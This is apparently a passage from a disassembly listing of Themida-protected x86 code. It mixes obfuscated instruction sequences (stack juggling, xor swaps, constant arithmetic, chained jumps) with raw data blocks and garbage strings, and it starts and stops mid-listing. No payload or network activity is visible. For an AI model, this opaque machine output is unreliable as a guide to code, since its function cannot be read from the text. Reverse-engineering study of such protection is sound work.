0BD551BE6h, 0ABB2970h dd 895DEE29h, 0DF315EF7h, 20CF815Bh, 8300821Ah, 0C783FFC7h dd 1D99E901h, 0E5C10000h, 4F58108h, 0E9BF1ED6h, 0A78Dh dd 404C483h, 2CF00091h, 8B665A91h, 0C483240Ch, 0FEB05002h dd 8E05E952h, 875F0000h, 895C2404h, 0A1E9240Ch, 8800002Ah dd 9B58E9DEh, 0E2810000h, 4610F01h, 89EA8142h, 1FEC3ECh dd 1E8BE9D1h, 0FF550000h, 525D2404h, 9D66E9h, 13BF5700h dd 93E5810h, 10C8E9FEh, 74FF0000h, 8F5A0424h, 7EE92404h dd 6800005Bh, 69D5h, 0B9240C89h, 20F0140Fh, 242C8B51h dd 4C481h, 0E5E90000h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5561FF: ; CODE XREF: Themida_:0055704Dj add edi, eax pop eax push edx mov edx, 5FD54F0Eh push edi jmp loc_55FA93 ; --------------------------------------------------------------------------- loc_55620E: ; CODE XREF: Themida_:0055C061j pop dword ptr [edi+20h] add dword ptr [edi+20h], 4B956385h jmp loc_5556CE ; --------------------------------------------------------------------------- loc_55621D: ; CODE XREF: Themida_:00555F12j mov ecx, eax mov eax, [esp] jmp loc_55C37E ; --------------------------------------------------------------------------- db 54h dd 81243C8Bh, 4C4h, 4EC8300h, 0E9242C89h, 92A2h, 411568h dd 1D2AE900h, 0DA870000h, 2414F753h, 55DA875Bh, 0DA7E90BDh dd 0D2ED8153h, 0F7257A4Ch, 1C581D5h, 81000000h, 0CEFB2EF5h dd 5DEA31F0h, 0E903EAC1h, 0FFFFFE39h, 0E930FF66h, 0FFFFE652h ; --------------------------------------------------------------------------- loc_55627C: ; CODE XREF: Themida_:0055B391j push eax jmp loc_55BC72 ; --------------------------------------------------------------------------- dw 0E781h dd 7EFD4D68h, 0D3F7DF87h, 0EF81DF87h, 66E607E4h, 0F7F7F781h dd 0FA019230h, 8D27E9h, 88CDB500h, 0C18859E8h, 5C2C58h dd 0E95C04C8h, 4FDBh ; --------------------------------------------------------------------------- loc_5562B4: ; CODE XREF: Themida_:0055A899j push 6F4D1E78h mov esi, [esp] jmp loc_55F7B2 ; --------------------------------------------------------------------------- db 0BBh, 9Ch, 6Bh dd 0CB8169D7h, 3B1040EBh, 7749E381h, 0E3814F9Eh, 7B7D68E6h dd 39BEE9h, 130400h, 6737E9F8h, 14F70000h, 9DE95E24h, 0E9000062h dd 0FFFFE5DAh, 4FD3E959h, 665C0000h, 0E924048Bh, 0A728h dd 835AD301h, 1C8704EBh, 34895C24h, 1981E924h, 0C2830000h dd 24143302h, 33241431h, 0B5E92414h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556327: ; CODE XREF: Themida_:00560805j push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp shl eax, cl jmp loc_55B02A ; --------------------------------------------------------------------------- db 87h dd 895C2414h, 94B82404h, 2D41B73Dh, 41B73D92h, 830CE9h db 0 ; --------------------------------------------------------------------------- loc_556351: ; CODE XREF: Themida_:0055CB0Aj mov ecx, edi pop edi pop edx add edx, ecx pop ecx xor edx, [esp] jmp loc_55711B ; --------------------------------------------------------------------------- loc_556360: ; CODE XREF: Themida_:0055E25Ej sub ebx, 792741F5h jmp loc_55F82A ; --------------------------------------------------------------------------- db 0BBh dd 3FCA0E32h, 92DE381h, 0E3C1194Ah, 27F38105h, 8160AE35h dd 0B71874E3h, 0EBE38146h, 81492444h, 24001CEBh, 5BDA0140h dd 0E9241487h, 4178h, 0FFEF805Ch, 0E902EC83h, 0FFFFE656h ; --------------------------------------------------------------------------- loc_5563A8: ; CODE XREF: Themida_:005571D3j mov [esp], ecx push edx push 7C6F3490h mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55D6D6 ; --------------------------------------------------------------------------- loc_5563D4: ; CODE XREF: Themida_:00559642j pop ebx pop esi movzx eax, al push dword ptr [edi+eax*4] push eax jmp loc_55718D ; --------------------------------------------------------------------------- dw 0F030h dd 0F9E9565Ah, 6800007Eh, 3152h, 51243489h, 6DA7BD55h dd 7CB90A85h, 293E02B4h, 242C8BE9h, 4C481h, 57530000h dd 0FFE8A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_556411: ; CODE XREF: Themida_:0055AF4Dj mov eax, 50D74069h sub [esp+4], eax pop eax pop eax add eax, 50D74069h push dword ptr [esp] pop edx jmp loc_55B04B ; --------------------------------------------------------------------------- dw 0EB80h dd 80C30002h, 0C38002C3h, 0C0B60FF9h, 0E987048Fh, 0FFFFE48Eh ; --------------------------------------------------------------------------- loc_556440: ; CODE XREF: Themida_:00556B76j mov ecx, 30D267DEh mov ebp, ecx mov ecx, [esp] add esp, 4 xor [esp+4], ebp jmp loc_55C97A ; --------------------------------------------------------------------------- loc_556456: ; CODE XREF: Themida_:00555CC7j push esi mov esi, 71B646FFh shl esi, 1 push eax jmp loc_55E891 ; --------------------------------------------------------------------------- loc_556464: ; CODE XREF: Themida_:00556C05j push edx push 4520h mov [esp], esp jmp loc_557E32 ; --------------------------------------------------------------------------- dw 8B66h dd 8956241Ch, 4B850E6h, 1000000h, 0B00E9C6h, 0DF010000h dd 4D2CE9h, 4C58300h, 5C242C87h, 81595451h, 4C1h, 4B85000h dd 1000000h, 0FF5158C1h, 59042474h, 8B24048Fh, 17E92424h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564B7: ; CODE XREF: Themida_:0055FA6Ej pop esp mov [edi+24h], ebx jmp loc_55EC48 ; --------------------------------------------------------------------------- aQsdj db 'Qéd¦',0 align 2 dw 0C89h dd 2F02B924h, 0D2E9056Eh db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5564D3: ; CODE XREF: Themida_:0055E7A7j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_55BCC7 ; --------------------------------------------------------------------------- loc_5564E5: ; CODE XREF: Themida_:0055B736j pop esi pop ecx mov eax, esi mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_55DADF ; --------------------------------------------------------------------------- loc_5564F9: ; CODE XREF: Themida_:0055CB70j sub edx, 6004EA5Ah push eax jmp loc_55E0E4 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6244E9h, 16626800h, 14890000h, 2474FF24h, 0EFE95A04h dd 5900009Dh, 0A3ECE9h, 24148B00h, 4C481h, 49680000h, 89000013h dd 74FF241Ch, 8F5B0424h, 0FF5C2404h, 0F1E92434h, 1000085h dd 2434FFC8h, 4C48159h, 1000000h, 24048BC3h, 0FFFBB8E9h dd 4B850FFh, 29000000h, 65E958C1h, 83000070h, 0B32D04C4h dd 5654A022h, 451FF7BEh, 0D0EE8122h, 0E915E805h, 8BCEh dd 42Dh, 24048700h, 2404895Ch, 0FFF116E9h, 1F180FFh, 4708E9h dd 2806B700h, 5A665BFDh, 0C8BE800h, 4C48124h, 59000000h dd 6821B551h, 3B22h, 0B4240489h, 58E5005Bh, 8087ED80h dd 9EE992F5h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5565CB: ; CODE XREF: Themida_:005581AFj add ebp, edi jmp loc_55A838 ; --------------------------------------------------------------------------- dw 0EF81h dd 0D338D180h, 3C8BF989h, 0F2C2E924h, 0BB53FFFFh, 0ED29DEh dd 835BDF31h, 21E9FFEFh db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5565F3: ; CODE XREF: Themida_:0055581Cj sub eax, edi add eax, 6A002D30h add eax, 59DF28EBh mov edi, [esp] jmp loc_554F54 ; --------------------------------------------------------------------------- db 0ACh dd 0D804502Ch, 0E9E9D800h, 3100009Ch, 34332434h, 24343124h dd 240C3156h, 0E9240C33h, 1F95h, 8124048Bh, 4C4h, 0E7895700h dd 4C781h, 0EC830000h, 240C8904h, 4B9h, 56B85000h, 296C0852h dd 0CF0158C7h, 5256BB53h, 0DF016C08h, 3925E9h db 0 ; --------------------------------------------------------------------------- loc_55665D: ; CODE XREF: Themida_:0055DF25j sub [esp+4], edx jmp loc_559D09 ; --------------------------------------------------------------------------- loc_556666: ; CODE XREF: Themida_:0055AF28j push ebx sub esp, 4 mov [esp], eax mov eax, 68C70619h jmp loc_55CB15 ; --------------------------------------------------------------------------- db 29h dd 92FBE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55667E: ; CODE XREF: Themida_:0055F847j mov [esp], eax mov eax, 4 add ebp, eax push dword ptr [esp] pop eax push ebp jmp loc_556D5D ; --------------------------------------------------------------------------- loc_556692: ; CODE XREF: Themida_:0055BCAEj shr esi, 8 inc esi xchg edi, esi not edi xchg edi, esi add esi, 1 inc esi push 9EEh mov [esp], ecx mov ecx, 0FFA07F96h sub esi, 4ED430DCh sub esi, ecx add esi, 4ED430DCh jmp loc_559C65 ; --------------------------------------------------------------------------- aWsX db 'Wé',0Bh,'X',0 align 2 dw 8147h dd 2EDF03C7h, 2BC38118h, 148C658h, 5728E9FBh, 0C15F0000h dd 0EFE902E7h, 0F7FFFFFEh, 2CF381D3h, 0E9D9B7A8h, 79B5h dd 204CB3BBh, 81DBF76Eh, 70BEBCBh, 4E3C113h, 8101C383h dd 44113C3h, 5FDFE9C2h, 0DE870000h, 20D0E9h, 71E95700h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55671B: ; CODE XREF: Themida_:00556B8Cj pop eax jmp loc_55A49E ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 419589Dh, 9FE99C24h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55672F: ; CODE XREF: Themida_:0055F964j pop ecx sub esi, 784804ACh add esi, edx add esi, 784804ACh push dword ptr [esp] pop edx add esp, 4 jmp loc_554966 ; --------------------------------------------------------------------------- db 28h, 0E7h, 58h dd offset dword_4A4E48+0A4A1h dd 8DE99700h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55675B: ; CODE XREF: Themida_:0055F6CAj add ecx, 2AD50E6h add [ecx], eax pop ecx mov edx, [esp] push esi mov esi, esp jmp loc_55E43E ; --------------------------------------------------------------------------- db 8Bh dd 8B662424h, 0B2E92404h, 290000A4h, 0FF04247Ch, 815F2434h dd 4ECh, 2F78E900h, 0E95D0000h, 38C0h ; --------------------------------------------------------------------------- loc_556794: ; CODE XREF: Themida_:0055C130j jmp loc_5548CE ; --------------------------------------------------------------------------- loc_556799: ; CODE XREF: Themida_:00556FE7j inc bl shl bl, 1 and bl, 0AAh xchg dl, bl push ecx mov ch, dl not ch jmp loc_55937A ; --------------------------------------------------------------------------- dd 8958C389h, 0F9015BDFh, 32DDE95Fh, 0F9010000h, 4BB3E95Fh dd 5B680000h, 89000011h, 8BBA2414h, 8175F662h, 6E571ACAh dd 13F28109h, 8124F171h, 0F0684EAh, 0FB1EE959h, 0E947FFFFh dd 0FFFFE92Ah, 0C8B65266h, 5A66F328h, 1A2CCE04h, 8A18E9h dd 24148900h, 0C281E289h, 4, 8704C283h, 315C2414h, 30FF66C3h dd 0FFE0B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_556819: ; CODE XREF: Themida_:0055722Ej add esp, 4 xchg esi, [esp] jmp loc_5582EF ; --------------------------------------------------------------------------- db 81h dd 1FB52404h, 1C8B2982h, 4C48124h, 0C1000000h, 45E904EBh dd 5C000024h, 3B206852h, 35680000h, 0E9000035h, 5FC9h dd 0E9240481h, 2976400Bh, 2C812404h, 400BE924h, 72BB5376h dd 10C9451h, 8B04245Ch, 0B9E9241Ch db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556873: ; CODE XREF: Themida_:00559579j push eax mov eax, 100B43E3h dec eax shr eax, 4 neg eax neg eax sub eax, 45402139h push esi mov esi, 47DF72CFh xor esi, 0CE4DE3FEh add eax, esi pop esi sub ecx, eax pop eax neg ecx push edi mov edi, 0D97CBB1Eh xor ecx, edi pop edi add ecx, edx pop edx sub ecx, 9A1DD74h add edx, ecx pop ecx jmp loc_5548CE ; --------------------------------------------------------------------------- dd 54240C89h, 0FFEF64E9h, 8BCB89FFh, 92E9240Ch, 81FFFFF0h dd 41FFEEBh, 0E9DE2901h, 0FFFFE02Eh, 23E9515Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568DB: ; CODE XREF: Themida_:0055F908j mov ebx, 64547802h mov ecx, ebx pop ebx shl ecx, 8 push esi mov esi, 6A87599h shl esi, 8 jmp loc_55CBFF ; --------------------------------------------------------------------------- dd 9D1C77FFh, 19665866h, 0E99C2404h, 6ED8h, 24148966h dd 0E99C5066h, 9592h, 236EEB81h, 0C30175D6h, 236EC381h dd 0EB8175D6h, 4DF57D76h, 8124048Bh, 4C4h, 46C38100h, 513D3E46h dd 0E252A7B9h, 0E181413Eh, 6DED79A6h, 426E981h, 0F1813ABAh dd 0FB3F3AD2h, 159CB29h, 0A8C381C3h, 81091976h, 3E4646EBh dd 93EB813Dh, 68238B39h, 160Ch, 0FF240489h, 148B2434h dd 5B545324h, 4C381h, 0B9510000h, 4, 0F1E9CB01h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556987: ; CODE XREF: Themida_:0055BCF8j pop esi or eax, eax jz loc_55D038 push 5417h jmp loc_555D6E ; --------------------------------------------------------------------------- loc_55699A: ; CODE XREF: Themida_:005558F9j push edx pop eax jmp loc_55A0F0 ; --------------------------------------------------------------------------- loc_5569A1: ; CODE XREF: Themida_:0055C171j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push eax jmp loc_556D47 ; --------------------------------------------------------------------------- db 5 dd 7FEE26BCh, 47A8B951h, 0C8016BD1h, 0FFE0E1E9h, 4C581FFh dd 33000000h, 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFFDEEEh dd 7CB0EE81h, 0C681271Ch, 321350DCh, 5B1F2D5Fh, 0F0290D73h dd 735B1F05h, 2434FF0Dh, 9226E95Eh, 8B660000h, 89532404h dd 75BE56E3h, 0E9421870h, 6A98h, 0AD5560BDh, 7E5C17Ch dd 0DBDBB53h, 0DD014E54h, 0B9F5815Bh, 0E9A4FEBDh, 132Bh dd 0F935E953h, 8B54FFFFh, 89512404h, 4C181E1h, 83000000h dd 0C8704C1h, 24248B24h, 405h, 26BF5700h, 0C163B521h, 0E78103EFh dd 5E7F0C95h, 5139C781h, 0F78147F5h, 546B5539h, 16E9F801h dd 66000051h, 68240C8Bh, 6292h, 5A71E9h, 0E9E08900h, 25E5h ; --------------------------------------------------------------------------- loc_556A88: ; CODE XREF: Themida_:0055F86Aj pop dword ptr [esp] jmp loc_555C69 ; --------------------------------------------------------------------------- loc_556A90: ; CODE XREF: Themida_:0055A4C9j add esi, 4 xchg esi, [esp] pop esp push 4775h mov [esp], ebx jmp loc_55941A ; --------------------------------------------------------------------------- dd 9CC1385Ch, 0FFDE21E9h db 0FFh ; --------------------------------------------------------------------------- loc_556AAD: ; CODE XREF: Themida_:0055C4A1j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, esp push edx mov edx, 1C8B55D9h xor edx, 5C726C98h jmp loc_5605C6 ; --------------------------------------------------------------------------- aSqstd db ')èQéâ„',0 align 4 dd 0DC2F7968h, 240C8B62h, 16CFE9h, 0D831AD00h, 68685155h dd 0E93AE208h, 75D4h, 5652E589h, 0FFDEBFE9h, 0EC815AFFh dd 4, 51243489h, 320B2CB9h, 6BE18170h, 8111D863h, 547B87C1h dd 68A2E92Eh, 0ABE90000h, 83FFFFDDh, 248904ECh, 24048124h dd 4, 4BA525Bh, 0E9000000h, 0DAEh, 240C8B66h, 0FFAEE955h dd 8B66FFFFh, 6856240Ch, 1261h, 81242489h, 42404h, 815E0000h dd 4C6h, 4EC8100h, 0E9000000h, 31A9h ; --------------------------------------------------------------------------- loc_556B6C: ; CODE XREF: Themida_:00556BA9j sub esp, 4 mov [esp], ebp push ecx jmp loc_556440 ; --------------------------------------------------------------------------- db 5Eh dd 148BD101h, 4C48324h, 134DE9h db 0 ; --------------------------------------------------------------------------- loc_556B89: ; CODE XREF: Themida_:0055D559j push dword ptr [esp] jmp loc_55671B ; --------------------------------------------------------------------------- db 5, 7Ch, 0EFh dd 0C701AB0Fh, 60DBE9h db 0 ; --------------------------------------------------------------------------- loc_556B9D: ; CODE XREF: Themida_:0055E1F3j add esp, 4 jmp loc_558A1B ; --------------------------------------------------------------------------- loc_556BA8: ; CODE XREF: Themida_:00555ACFj push esi jmp loc_556B6C ; --------------------------------------------------------------------------- dw 0F068h dd 594ED151h, 33D0F181h, 0F4E95414h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556BBF: ; CODE XREF: Themida_:0055B075j xchg ebp, ecx jmp loc_55ABA1 ; --------------------------------------------------------------------------- dw 0D901h dd 31D0C181h, 685B06B4h, 4ED2h, 52240489h, 1BFE9h db 0 ; --------------------------------------------------------------------------- loc_556BDD: ; CODE XREF: Themida_:0055BA4Cj and ecx, edx pop edx shr ecx, 6 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax jmp loc_556464 ; --------------------------------------------------------------------------- dw 0BD55h dd 0E3581930h, 515DE829h, 0CA89C189h, 81240C8Bh, 4C4h dd 24048B00h, 4C481h, 0D0290000h, 0FFFECCE9h, 4C481FFh dd 83000000h, 3C8904ECh, 4EC8124h, 89000000h, 25E92434h dd 28FFFFE5h, 3F2C5AF0h, 2CDBE9h, 42D2F700h, 6FCAE281h dd 67E96A84h, 0B7000073h, 80D7F6FBh, 0C780F1C7h, 14F7808Eh dd 1F4FE9h, 80C5FE00h, 0CD800BEDh, 0A0CD801Ah, 51EAF580h dd 0E998B652h, 9146h, 0EF28F7B5h, 8FCF8059h, 5350C7FEh dd 4274E9h, 0C8B6600h, 0E7895724h, 21E5B951h, 0E1D15CBBh dd 7111E9h, 0D9BD5500h, 292492D9h, 6CE2E9E8h, 478F0000h dd 0DC08E940h, 0E380FFFFh, 57D8E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556CCE: ; CODE XREF: Themida_:00555788j push dword ptr [ebx] pop ecx push dword ptr [esp] pop ebx add esp, 4 push 2DD3h mov [esp], edx mov edx, 0F8C15A5h push esi push eax mov eax, 102B2FC9h mov esi, eax pop eax not esi shr esi, 8 jmp loc_55E223 ; --------------------------------------------------------------------------- dd 582434FFh, 356AE9h, 0DBC4E900h, 0EA01FFFFh, 0E4AC281h dd 2C8B1174h, 0E6895624h, 4C681h, 7FE90000h, 33000002h dd 1C31241Ch, 241C3324h, 0B30F665Ch, 0E99C2404h, 0FFFFDB96h dd 4BAh, 143C2D00h, 4DE947BFh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D47: ; CODE XREF: Themida_:005569B2j mov eax, 68DB7C51h push edi mov edi, 23347D01h xor edi, 3CEA07C1h jmp loc_5604EB ; --------------------------------------------------------------------------- loc_556D5D: ; CODE XREF: Themida_:0055668Dj mov ebp, esp jmp loc_55A2D6 ; --------------------------------------------------------------------------- loc_556D64: ; CODE XREF: Themida_:00555149j push esi mov esi, 0A1C4F49h add esi, 7DE26C6Ah add esi, 78014451h add edx, esi jmp loc_55AFA8 ; --------------------------------------------------------------------------- a_sL db '_é~L',0 dw 8100h dd 4ECh, 24048900h, 0FFF3AAE9h, 0B2CD81FFh, 0E9587E6Fh dd 56D5h, 0D7055EBAh, 81D2F779h, 1DBFF0EAh, 5AD0893Fh dd 3506E8C1h, 11C2CEEh, 1154E981h, 0C10164F3h, 1154C181h dd 875864F3h, 248B240Ch, 2434FF24h, 42A8E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556DD2: ; CODE XREF: Themida_:0055E990j xor edi, [esp] pop esp mov [esp], edi mov edi, 1 and eax, edi push dword ptr [esp] jmp loc_5550B2 ; --------------------------------------------------------------------------- dd 5F2434FFh, 25F8E9h, 2434FF00h, 5244E9h, 1AC38100h, 291CE873h dd 2B73E9C3h, 0D6F70000h, 0C14EDEF7h, 0C68106E6h, 6828AF44h dd 515EF301h, 4B9h, 0CAB95100h, 81725631h, 606463EBh, 81CB0111h dd 606463C3h, 71E95911h, 57000074h, 0E92414F7h, 6187h dd 2BD55h, 0EE010000h, 2434335Dh, 33243431h, 248B2434h dd 0E1F76624h, 491768h, 243C8900h, 89E95F54h, 0B300006Ch dd 0E14BE961h, 8143FFFFh, 5570AAF3h, 51DBF758h, 9F64AAB9h dd 81D1F72Fh, 0B10AA5E9h, 14E18136h, 0F7430A6Eh, 8E9C1D9h dd 0AB23C181h, 3DE9388Dh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E9B: ; CODE XREF: Themida_:0055935Bj add eax, 0AC6F5465h xor ecx, eax pop eax and ecx, 3737438Eh jmp loc_55FADF ; --------------------------------------------------------------------------- loc_556EAE: ; CODE XREF: Themida_:0055834Aj xor bl, 0B4h jmp loc_55F658 ; --------------------------------------------------------------------------- aSk db ')\$',8,'éŠ<',0 dw 5B00h aZLHb db '‡,$‹$$h¡[',0 dw 8900h dd 2C81243Ch, 7575D124h, 38428F64h, 0D1384281h, 5F647575h dd 551768h, 243C8900h, 43A6BB53h, 0D4E930C8h, 5C000043h dd 4C381h, 0BA520000h, 2, 335AD301h, 1C31241Ch, 241C3324h dd 401665Ch, 20E99C24h, 81000088h, 401636EFh, 6BC02DE5h dd 0F8016B0Ah, 0A6BC005h, 243C8B6Bh, 505F5457h, 981FE9h dd 16EE8100h, 8134B046h, 3FF6B7EEh, 5EF78981h, 442CC581h dd 0FD014B06h, 442CED81h, 0D15F4B06h, 78FCE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F5A: ; CODE XREF: Themida_:0055D2C7j pop ebx push eax not dword ptr [esp] pop eax add eax, 843EB31Fh sub ecx, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55B649 ; --------------------------------------------------------------------------- loc_556F7B: ; CODE XREF: Themida_:00555497j push edi mov edi, 361F51A5h jmp loc_55E0F4 ; --------------------------------------------------------------------------- dw 8158h dd 2C6h, 9B44E900h, 0E2890000h, 4C281h, 0EA830000h, 2A99E904h dd 0BF570000h, 4, 52FEE9h, 39E95100h, 2C000067h, 241C8BC5h dd 32D5E9h db 0 ; --------------------------------------------------------------------------- loc_556FBD: ; CODE XREF: Themida_:0055D977j add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_55AFB4 ; --------------------------------------------------------------------------- dw 0D9F6h dd 0E980D1F6h, 1DEDE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556FDA: ; CODE XREF: Themida_:00554D10j push ecx mov ecx, 61917D8Ch jmp loc_55ACCB ; --------------------------------------------------------------------------- loc_556FE5: ; CODE XREF: Themida_:00557E9Cj dec bl jmp loc_556799 ; --------------------------------------------------------------------------- dd 40F8CA81h, 0DAF715FDh, 3042E9h, 8B545300h, 0C481241Ch dd 4, 4C381h, 18E90000h, 0D1000055h, 419505E8h, 0BF57E0A0h dd 528578F8h, 0EF81D7F7h, 36CA3DEBh, 0E95FFE29h, 5DEBh dd 4240481h, 5F000000h, 5D7968h, 2583E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55703E: ; CODE XREF: Themida_:0055E363j push ebx mov ebx, 2CB8320Ch sub ebx, 2CB83208h mov eax, ebx pop ebx jmp loc_5561FF ; --------------------------------------------------------------------------- dw 0EF81h dd 93FE73F9h, 895FFE01h, 36E95EF3h, 81000097h, 42404h dd 0F1E90000h, 58000097h, 405h, 9655E900h, 0C6290000h dd 5C70C681h, 86E91102h, 0F7000023h, 6195E9D5h, 2C870000h dd 0B62D5C24h, 1160305h, 0B6BB53F0h, 0E9160305h, 453Dh dd 0CCE9DFF7h, 400007Eh, 2CD800E0h, 5F8AE9E0h, 14310000h dd 24143324h, 6624248Bh, 6866F9F7h, 89662F24h, 50662414h dd 0D7FCE99Ch, 0B5B7FFFFh, 0D8E9FA20h, 8B00006Bh, 54512404h dd 656DE9h, 72F96800h, 2C890000h, 30A9E924h, 248B0000h dd 0EA0AE924h, 248BFFFFh, 0A65E924h, 0C6810000h, 271C7CB0h dd 4B4FEE81h, 0FE0115FBh, 4B4FC681h, 0C5E915FBh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55711B: ; CODE XREF: Themida_:0055635Bj xor [esp], edx xor edx, [esp] jmp loc_55F672 ; --------------------------------------------------------------------------- dw 0F66h dd 50E902B6h, 49000069h, 964CC181h, 0C829D780h, 941AE9h dd 24048B00h, 4C481h, 44680000h, 89000068h, 0E0892404h dd 4BF57h, 0F8010000h, 0E951565Fh, 76CDh, 4BEh, 5EF30100h dd 75C368h, 24048900h, 5E75E9h db 0 ; --------------------------------------------------------------------------- loc_557175: ; CODE XREF: Themida_:0055F415j push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5592D7 ; --------------------------------------------------------------------------- loc_55718D: ; CODE XREF: Themida_:005563DDj push 1EDE0BA5h mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55C72B ; --------------------------------------------------------------------------- dd 4A30F66h, 0D9E99C24h, 8B000076h, 0C4812414h, 4, 0FFD70DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5571C1: ; CODE XREF: Themida_:00559A28j mov cl, ah pop eax mov ebx, [esp] jmp loc_55D5DC ; --------------------------------------------------------------------------- loc_5571CC: ; CODE XREF: Themida_:005591D1j xor eax, edx push 1E9Ah jmp loc_5563A8 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h, 18BB5324h dd 0C131F179h, 814306E3h, 0A1BA03C3h, 2883E983h, 2C890000h dd 5CF4E924h, 0F4800000h, 6E4C092h, 8005E4C0h, 0E308F5F4h dd 69E38058h, 0FFFAA5E9h, 44D8BFFFh, 24E91C9Eh db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55722B: ; CODE XREF: Themida_:0055FCA2j mov ecx, [esp] jmp loc_556819 ; --------------------------------------------------------------------------- loc_557233: ; CODE XREF: Themida_:00560C40j inc esi jmp loc_55F40C ; --------------------------------------------------------------------------- loc_557239: ; CODE XREF: Themida_:0055AD8Dj add esp, 4 or eax, eax jz loc_55E905 push dword ptr [edi+28h] add dword ptr [esp], 4E5076AEh pop eax sub esp, 4 mov [esp], ebx push edi mov edi, 26440A54h mov ebx, edi pop edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ebx mov ebx, 1C2037BDh mov edi, ebx pop ebx jmp loc_559876 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0C1000000h, 0E1C105E9h, 385DE902h, 0C15F0000h, 0CCE907EEh dd 6800003Eh, 3308h, 0B6241489h, 0BBEE80B8h, 35D56866h dd 24148966h, 12454F6h, 57E95A66h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5572C7: ; CODE XREF: Themida_:0055D5A9j push ebp mov ebp, 79EF77C1h shr ebp, 3 sub ebp, 0FCA4815h dec ebp shl ebp, 5 shr ebp, 4 xor ebp, 0EE74DC0h jmp loc_55B905 ; --------------------------------------------------------------------------- loc_5572E8: ; CODE XREF: Themida_:0055D6D9j sub esp, 4 jmp loc_55FAC9 ; --------------------------------------------------------------------------- db 81h dd 177D72E9h, 0E9D90115h, 0FFFFE2B9h, 0C76B850h, 0B3E91FEAh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55730B: ; CODE XREF: Themida_:0055D0C9j pop edi push edx mov edx, esp push ecx mov ecx, 320D7007h xor ecx, 7C23023Fh xor ecx, 4E2E723Ch jmp loc_555C75 ; --------------------------------------------------------------------------- dw 0FE0Ch a4zXsI db '4z(ÆX霈',0 align 2 aZhx db 'Zhå"',0 align 4 dd 0F7241489h, 148B2414h, 4C48124h, 0E9000000h, 0DAFh dd 0E908E5C1h, 244Ah ; --------------------------------------------------------------------------- loc_557354: ; CODE XREF: Themida_:0055F954j sub ebx, 4EA306DFh add ebx, edx add ebx, 4EA306DFh pop edx mov edx, ebx pop ebx not edx push ebx mov ebx, 5E592CE9h add ebx, 768E7F75h sub ebx, 0D4E7AC5Fh add edx, ebx jmp loc_55807A ; --------------------------------------------------------------------------- db 50h, 53h, 68h dd 3C2529B4h, 6EE3815Bh, 816B6F42h, 250026F3h, 5F1EE928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55739A: ; CODE XREF: Themida_:00557639j jmp loc_5548CE ; --------------------------------------------------------------------------- db 0F3h dd 386203A5h, 1FE0E9h, 0F7D7F700h, 61EF81D7h, 8937823Ch dd 88B5E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573BA: ; CODE XREF: Themida_:0055D695j xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 20h sub ebx, 3E024EB2h add ebx, edi push 1E78h mov [esp], edi push edx push ebx mov ebx, 1ED952B5h mov edx, ebx pop ebx xor edx, 9B16E0Ch sub edx, 18EB2576h not edx sub edx, 0D7B16E2Ch mov edi, edx pop edx not edi jmp loc_559165 ; --------------------------------------------------------------------------- aYhz db 'YhZ',0Bh,0 align 4 dd 89241C89h, 66E952E3h, 8F000088h, 335C2404h, 14312414h dd 24143324h, 5124248Bh, 5E08950h, 4, 0FFF157E9h, 88E954FFh dd 89000014h, 4C781E7h, 51000000h, 27745FB9h, 49D1F742h dd 8B9BBA52h, 0D129BDD8h, 4EC7815Ah, 124234Eh, 4EEF81CFh dd 